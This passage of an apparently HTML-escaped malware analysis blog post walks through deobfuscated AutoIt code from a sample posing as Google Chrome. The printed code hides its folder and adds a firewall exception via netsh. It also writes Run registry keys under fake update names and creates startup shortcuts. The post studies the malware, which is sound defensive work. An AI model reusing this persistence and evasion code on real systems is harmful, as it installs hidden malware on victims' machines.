    &lt;span class="kt"&gt;FileSetAttrib&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"C:&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleChrome"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"+RSH"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;Exit&lt;/span&gt;
&lt;span class="kt"&gt;EndIf&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;It's copying the malware directory into &lt;code&gt;C:/GoogleChrome&lt;/code&gt; if already not working there. Starts two copy of itself, and hides the malware directory as System file (like we found the analysis). Then exits.&lt;/p&gt;




&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kt"&gt;JOBGBZLZCREXIWE&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="kt"&gt;SetEnvNFirewall&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;


&lt;span class="kt"&gt;Func&lt;/span&gt; &lt;span class="kt"&gt;CYNFMPPBRAWIIOK&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="kt"&gt;EnvSet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"SEE_MASK_NOZONECHECKS"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"1"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;ShellExecute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"netsh"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"firewall add allowedprogram ""C:&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Program Files (x86)&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;AutoIt3&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;AutoIt3.exe"" ""GoogleChrome.exe"" ENABLE"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kt"&gt;EndFunc&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;It's sets the SEE_MASK_NOZONECHECKS as &lt;code&gt;1&lt;/code&gt; and adds a firewall exception for the malware and AutoIt 3 executable.&lt;/p&gt;

&lt;p&gt;I will alias &lt;code&gt;JOBGBZLZCREXIWE&lt;/code&gt; as &lt;code&gt;SetEnvNFirewall&lt;/code&gt;.&lt;/p&gt;




&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kt"&gt;CYNFMPPBRAWIIOK&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="kt"&gt;RegWriteAndStartupShortcuts&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="kt"&gt;Func&lt;/span&gt; &lt;span class="kt"&gt;CYNFMPPBRAWIIOK&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="kt"&gt;If&lt;/span&gt; &lt;span class="kt"&gt;RegRead&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"HKEY_LOCAL_MACHINE&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;SOFTWARE&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Microsoft&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;CurrentVersion&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Run"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Google Chrome"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt; &lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;WindowsUpdate.lnk"&lt;/span&gt; &lt;span class="kt"&gt;Then&lt;/span&gt;
        &lt;span class="kt"&gt;RegWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"HKEY_LOCAL_MACHINE&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;SOFTWARE&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Microsoft&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;CurrentVersion&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Run"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Google Chrome"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"REG_SZ"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;WindowsUpdate.lnk"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;EndIf&lt;/span&gt;
    &lt;span class="kt"&gt;If&lt;/span&gt; &lt;span class="kt"&gt;RegRead&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"HKEY_CURRENT_USER&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Software&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Microsoft&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;CurrentVersion&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Run"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Google Chrome"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt; &lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;WindowsUpdate.lnk"&lt;/span&gt; &lt;span class="kt"&gt;Then&lt;/span&gt;
        &lt;span class="kt"&gt;RegWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"HKEY_CURRENT_USER&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Software&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Microsoft&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;CurrentVersion&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Run"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Google Chrome"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"REG_SZ"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;WindowsUpdate.lnk"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;EndIf&lt;/span&gt;
    &lt;span class="kt"&gt;If&lt;/span&gt; &lt;span class="kt"&gt;RegRead&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"HKEY_LOCAL_MACHINE&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;SOFTWARE&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Microsoft&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;CurrentVersion&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Run"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"JavaUpdate"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt; &lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;WindowsUpdate.lnk"&lt;/span&gt; &lt;span class="kt"&gt;Then&lt;/span&gt;
        &lt;span class="kt"&gt;RegWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"HKEY_LOCAL_MACHINE&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;SOFTWARE&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Microsoft&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;CurrentVersion&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Run"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"JavaUpdate"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"REG_SZ"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleUpdate.lnk"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;EndIf&lt;/span&gt;
    &lt;span class="kt"&gt;If&lt;/span&gt; &lt;span class="kt"&gt;RegRead&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"HKEY_CURRENT_USER&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Software&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Microsoft&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;CurrentVersion&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Run"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"AdopeUpdate"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt; &lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;WindowsUpdate.lnk"&lt;/span&gt; &lt;span class="kt"&gt;Then&lt;/span&gt;
        &lt;span class="kt"&gt;RegWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"HKEY_CURRENT_USER&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Software&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Microsoft&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;CurrentVersion&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Run"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"AdopeUpdate"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"REG_SZ"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleUpdate.lnk"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;EndIf&lt;/span&gt;
    &lt;span class="kt"&gt;If&lt;/span&gt; &lt;span class="kt"&gt;RegRead&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"HKEY_LOCAL_MACHINE&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Software&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Microsoft&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;CurrentVersion&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Run"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="s"&gt;"NewJavaInstall"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt; &lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;WindowsUpdate.lnk"&lt;/span&gt; &lt;span class="kt"&gt;Then&lt;/span&gt;
        &lt;span class="kt"&gt;RegWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"HKEY_LOCAL_MACHINE&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Software&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Microsoft&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;CurrentVersion&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Run"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="s"&gt;"NewJavaInstall"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"REG_SZ"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleChrome.exe /AutoIt3ExecuteScript "&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleChrome.a3x"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;EndIf&lt;/span&gt;
    &lt;span class="kt"&gt;If&lt;/span&gt; &lt;span class="kt"&gt;RegRead&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"HKEY_CURRENT_USER&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Software&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Microsoft&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;CurrentVersion&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Run"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"AdopeFlash"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt; &lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;WindowsUpdate.lnk"&lt;/span&gt; &lt;span class="kt"&gt;Then&lt;/span&gt;
        &lt;span class="kt"&gt;RegWrite&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"HKEY_CURRENT_USER&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Software&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Microsoft&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;CurrentVersion&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Run"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"AdopeFlash"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"REG_SZ"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleChrome.exe /AutoIt3ExecuteScript "&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleChrome.a3x"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;EndIf&lt;/span&gt;
    &lt;span class="kt"&gt;If&lt;/span&gt; &lt;span class="kt"&gt;FileExists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;@StartupCommonDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;WindowsUpdate.lnk"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;False&lt;/span&gt; &lt;span class="kt"&gt;Then&lt;/span&gt;
        &lt;span class="kt"&gt;FileCreateShortcut&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"cmd.exe"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;@StartupCommonDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Google Chrome.lnk"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"/c start "&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleChrome.exe "&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleChrome.a3x &amp;amp; exit"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;EndIf&lt;/span&gt;
    &lt;span class="kt"&gt;If&lt;/span&gt; &lt;span class="kt"&gt;FileExists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;@StartupCommonDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleUpdate.lnk"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;False&lt;/span&gt; &lt;span class="kt"&gt;Then&lt;/span&gt;
        &lt;span class="kt"&gt;FileCreateShortcut&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleChrome.exe"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;@StartupCommonDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleUpdate.lnk"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"/AutoIt3ExecuteScript "&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleChrome.exe "&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleChrome.a3x"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;EndIf&lt;/span&gt;
&lt;span class="kt"&gt;EndFunc&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;It's creating the &lt;code&gt;RegWrite&lt;/code&gt; calls and creates start-up folder shortcuts here. However since half of checks &lt;code&gt;RegRead&lt;/code&gt; and &lt;code&gt;FileExists&lt;/code&gt; checks different key or path instead of that is actually changing, the conditions always fail and write or create them again when every time the function called.&lt;/p&gt;

&lt;p&gt;I will alias &lt;code&gt;CYNFMPPBRAWIIOK&lt;/code&gt; as &lt;code&gt;RegWriteAndStartupShortcuts&lt;/code&gt;&lt;/p&gt;




&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kt"&gt;BXTXSVPWSNIXJEB&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="kt"&gt;AddScriptDirShortcuts&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="kt"&gt;Func&lt;/span&gt; &lt;span class="kt"&gt;BXTXSVPWSNIXJEB&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="kt"&gt;If&lt;/span&gt; &lt;span class="kt"&gt;FileExists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;WindowsUpdate.lnk"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;False&lt;/span&gt; &lt;span class="kt"&gt;Then&lt;/span&gt;
        &lt;span class="kt"&gt;FileCreateShortcut&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"cmd.exe"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;WindowsUpdate.lnk"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"/c start "&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleChrome.exe "&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleChrome.a3x &amp;amp; exit"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;EndIf&lt;/span&gt;
    &lt;span class="kt"&gt;If&lt;/span&gt; &lt;span class="kt"&gt;FileExists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleUpdate.lnk"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;False&lt;/span&gt; &lt;span class="kt"&gt;Then&lt;/span&gt;
        &lt;span class="kt"&gt;FileCreateShortcut&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleChrome.exe"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;@ScriptDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;GoogleUpdate.lnk"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"/AutoIt3ExecuteScript 